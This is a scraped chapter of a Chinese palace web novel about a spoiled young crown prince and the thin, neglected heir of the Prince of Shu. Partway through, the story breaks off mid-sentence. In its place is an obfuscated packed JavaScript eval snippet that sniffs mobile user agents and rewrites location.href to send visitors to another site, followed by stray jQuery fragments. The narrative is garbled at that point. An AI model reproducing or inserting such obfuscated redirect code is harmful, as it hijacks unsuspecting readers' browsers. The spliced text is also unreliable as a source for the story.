默认冷灰
24号文字
方正启体

5. 第五章

作者:不识朝朝本书字数:K更新时间:
    下了一夜雨,早上才停。


    谢徽宁睁开眼,懒洋洋地缩在一团香气的锦被中不肯起,磨磨蹭蹭了半个时辰后,才肯让孙福来伺候着下床洗漱,待穿戴整齐坐到秀墩上,看一眼八仙桌上摆放的膳食,兴致缺缺,甫一想到严祯那瘦小模样,生怕自己以后也是这般,吓得赶紧张开嘴吃了一口孙福来喂到嘴边的燕窝。


    孙福来很是惊讶,没想到今日太子殿下如此好说话,正要喂第二口,谢徽宁又故态复萌,偏头不肯再尝,“给他们送吃的了吗?”


    “早起就送了。”陛下罚一日只用一餐素膳,也没说多少规格,自然得让两位小公子吃饱,不然饿出个好歹如何是好?


    谢徽宁乌溜溜的眼睛瞧着那一桌膳食,想到许谨元说严祯吃不饱,心下有了新主意,打断孙福来哄他用膳的话,“派人把世子带到东宫来。”


    孙福来还以为听错了:“殿下说的可是蜀王世子?”


    谢徽宁:“就是他,你派人把他带过来。”


    孙福来习惯了殿下想一出是一出的性子,到底还是为难:“世子进宫得传召,奴才需得禀明陛下,不知殿下召世子是有什么事?”


    谢徽宁不满:“怎么这么麻烦,我还不能传召他进宫了?父皇日理万机,不要什么事都要和父皇说。”


    孙福来耐着性子同他解释:“殿下,这怕是不行,且不说世子还在念书,即便要召他进宫也得他散学后,亦或是给了假。”


    谢徽宁听他絮叨,有些不乐意:“我就要见他,那你去和父皇说,给他今日批个假,让他进宫不就是了。”


    孙福来见他撇嘴,忙哄道:“奴才一会就去禀告陛下,殿下别恼,气坏身子奴才该心疼了,等殿下用完膳,奴才就去,今日这藕盒里夹的是鸽子肉,殿下尝一口。 ”


    那藕盒外皮炸的金黄,谢徽宁张嘴吃了一块,便催促道:“你快去吧。”


    孙福来点点头,正要让宫人将这膳食撤下,谢徽宁指着燕窝还有刚刚尝的藕盒,交代道:“放小厨房温着。”


    -


    御书房外,徐承兴听了孙福来的话,同他说道:“这不赶巧,陛下还在和大臣们开会呢,一时半会也结束不了。”


    孙福来愁道:“殿下那说一不二的性格。”


    毕竟是太子殿下的事,徐承兴一向事无巨细:“殿下可有说要世子进宫所为何事?”


    孙福来想到小太子主动留了那两道膳食,也不难猜:“殿下虽未明说,想来是觉得世子太瘦了,让他来东宫,好招待他。”


    徐承兴笑道:“殿下仁心,你回去和殿下说,让他不必忧心世子,陛下已经下令要多加照拂世子的衣食,我过后就去王府送些补品,再看看世子缺些什么。”


    孙福来没料想这事徐承兴亲自去,这小世子是有福了,“有干爹照拂自然好,那我就先回去了。”


    回来时,谢徽宁正在沈庭晟的厢房,孙福来刚抬脚进去,谢徽宁就跑过来问:“父皇怎么说?”


    “殿下莫急,陛下还在忙,徐总管和奴才说陛下命他稍后去王府给世子送补品,殿下召世子进宫之事,得等陛下忙完后。”


    沈庭晟听后奇怪道:“殿下,你让世子进宫做什么?”


    谢徽宁不肯说实话,显得自己多在意他似,口不对心道:“我是想着他昨个那般,让他进东宫学规矩而已。”


    沈庭晟也知晓这世子怪可怜的,只以为殿下说真的,“殿下就别和他一般见识了,以后不见他就是,咱们继续教这鸟儿说话。”


    谢徽宁还没来得及开口,就被沈庭晟拉到案台边继续逗那鸟儿,鸟儿叽叽喳喳上蹦下跳,没一会儿谢徽宁就把严祯的事抛诸脑后,忘了个没影。


    王府。


    徐承兴领着内侍过来,府中下人一个个都聚齐在院中,徐承兴没说话,先去了世子的院落,这五进五出的府邸长久未住人,虽有些年头了,却一直有派官员修葺,在世子进京前不久,这湖中的睡莲还有锦鲤都是刚添置的,花圃中更是栽种奇花异草,让整个王府焕然一新,彰显皇家对这些藩王的厚待。


    这些世子进京,俱是赐了府邸让他们居住,并拨了一队侍卫保护他们的安全,其他世子都带了奴仆和随从,即便离家,在这京城日子过得还是滋润的,相较与他们,这蜀王世子就比较惨,偌大的府邸,一个六岁的孩子,只带了一个随从和一个仆人,明眼人都能看出他不受宠,那些宫人一贯奸猾,在这府邸捞不到油水,自然伺候的不尽心。


    这也是徐承兴亲自过来一趟的原因,在世子的卧房转了一圈后,问管事的:“陛下赏赐的绫罗绸缎,没给世子裁新衣?”


    那管家大汗瞬间落下来,陛下赏赐的宝物不能变卖,可那些绫罗绸缎昧下也没什么,左右这世子年幼,话都不爱说一句,身边那俩人,都是个软柿子,任他们拿捏,谁曾想徐总管亲自过来,这还有什么事能瞒得过他的眼睛。


    严祯散学回来,徐承兴刚处置了一应下人,笑着迎上前,行了常礼后,同他解释:“圣上关怀世子,特地命奴才给世子送些补品,不巧撞见这些下人伺候不周,便替世子处置了,世子莫怪奴才僭越。”


    严祯入京进宫面见陛下时,见过徐承兴,知道他是太监总管,陛下身边的红人,权势大,处置几个下人就像捏死一只蚂蚁而已,而自己这世子只是空有名头,且不说这些下人也都是陛下赏的。


    徐承兴见严祯不说话,也不在意,面上带着笑继续说道:“奴才擅作主张给世子换了一批下人,若是哪个再伺候不周,世子尽管处置。”


    当着他的面,朝那些下人说道:“以后谁要是敢怠慢了世子,刚刚那些人就是你们的下场。”


    他今日这番举动,哪个还敢阳奉阴违。


    没人教严祯规矩,不代表他是个不识好歹的傻子,听了这话后,微抿了抿唇,同徐承兴说道:“公公替我谢谢陛下。”


    徐承兴笑着应声:“奴才一定会将世子的感谢告知陛下,世子以后缺什么尽管和他们提。”


    严祯年龄小,随从告诉他在这京城多说多错,要谨言慎行,他本就不爱说话,才经常不发一言,说了谢后,不知该说什么,便又不作声了,尽管他心里疑惑为何会有今日这一出。


    徐承兴似乎看出他心中所想,故作不经意地吐露:“陛下感念世子年龄小,又一路舟车劳顿,使得身子消瘦,实在于心不忍,又因昨个殿下遇到世子,殿下仁心,替世子在陛下跟前提了几嘴,这不就派奴才过来给世子送些补品,好给世子补补身子。”


    到底是太监总管会说话,三言两语就解了惑,既将世子身子消瘦说成是舟车劳顿,免得世子难堪,又告诉他,今日这事还有一部分是殿下的仁心,让他心里也能念着殿下的好。


    严祯想到昨个马车见到的小太子,睁着乌黑漂亮的眼睛好奇地打量着他,穿戴如小仙童一般光彩夺目,完全不似传闻中那般嚣张跋扈,更没有因他的不规矩而为难他,于是张嘴干巴巴又说了句:“公公替我谢谢殿下。”


    徐承兴这才发觉小世子原是不善表达,笑着回去同谢皎说了这事。


    谢皎那日见到严祯时就察觉了,如此磋磨之下却未养成畏缩的性子,已是难能可贵,“太子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052267|194834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    既然想见他,便等世子旬假日召进宫。”


    -


    谢徽宁见到严祯已是七日之后的事了,他正和许谨元还有沈庭晟在偏殿玩捉迷藏,被绣着云纹的绸布蒙住眼睛,一把抱住了被孙福来领进殿给他请安的严祯,毫无察觉地嘻笑道:“抓到啦!抓到啦!”


    说话间抬手摸了摸对方没什么肉的小脸,只觉身高和手感都不对,扯下绸布对上严祯黑黝黝的眼睛,眨了眨眼:“怎么是你呀?你来做什么?”


    沈庭晟和许谨元也走了过来。


    国子监十日一休,今日刚好给假中,宫中来王府传召,说太子要见他,严祯便没耽搁,放下手中的书就过来了,此刻见太子这般,一时之间也不知该怎么说,好在孙福来提醒道:“殿下,您忘了上回您想见世子,今日世子旬假,陛下这才召世子进宫。”


    这都过去多久了,谢徽宁早把这事给忘了,此刻离得近打量着严祯,见他今日换了新衣,气色也比上次好上一二,来都来了,总不能赶他走,“那你也来和我们玩捉迷藏吧。”


    严祯没玩过这个,轻声道:“我不会。”


    谢徽宁听到他的声音:“原来你不是哑巴,会说话呀。”


    “这有什么不会的,我刚刚捉住了你,现在该你捉我们了。”谢徽宁说着就要将手中的绸布给他绑在眼睛上,严祯虽比他大了三岁,却也只比他高了小半首,饶是如此,太子殿下还是命令道:“你蹲下。”


    严祯倒是听话,蹲在太子跟前,谢徽宁很是满意,在他脑后将绸布打了个结,还特地贴在严祯脸前说道:“捉不到人可不能把这布摘下来。”


    “好了,你数十个数,我们要藏起来了。”


    偏殿中的绣墩,小架子上的瓷瓶,以及谢徽宁平日玩的,都已收起来了,殿内只放置了些轻易不能挪动的大件家具,那绸布也不全然遮光,视物时影影绰绰,不至于磕碰着,偏殿宫人都退下了,只有谢徽宁,许谨元,沈庭晟,之前孙福来也陪着玩,可他每次担心太子殿下磕碰着,主动送上门让殿下捉,殿下就不准他玩了,这会儿几人都藏好了,见严祯立在原地不动,谢徽宁有些着急:“你是木头吗?开始呀?”


    他一开口,严祯就动了,循着声音朝他走来,谢徽宁见他过来,想偷偷溜走,刚一动,就被严祯抱住了。


    严祯没说话,扯掉绸带,眼睛一动不动地看着谢徽宁。


    谢徽宁撇撇嘴,有些不乐意自己这么快就被捉住了,反悔道:“不算!这个不算!刚刚是我出声了!”


    许谨元只好走过来哄:“换我捉吧。”


    谢徽宁这才高兴,说着解开严祯绸布上的结,给蹲下的许谨元蒙上眼睛,然后让他背过身子,拉着还站着的严祯往旁边去,推了他一下,提醒道:“你也找个地藏着,藏好别出声!”


    严祯却跟着他一起,谢徽宁藏在珠帘后面的柜子旁,严祯走到他身边,谢徽宁这回不敢出声,怕许谨元听到,只好由着他也藏在自己这里,很快就听到许谨元把沈庭晟给捉住了,沈庭晟嚷嚷着:“水喝多了,等我一会儿。”


    他一走,谢徽宁就瞪严祯:“你跟着我做什么?”


    严祯本就不怎么会表达,跟个闷葫芦似不作声,许谨元听了这边动静忙过来安抚:“世子初来乍到还不熟悉,跟着殿下也是因着喜欢殿下。”


    谢徽宁没想到是这个原因,惊讶道:“喜欢我?”


    严祯犹豫了一瞬,轻轻点头。


    太子殿下还能说什么,人家这是喜欢他的表现呢,于是接下来的玩闹中,很是大方地由着严祯跟着自己,再没瞪他了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)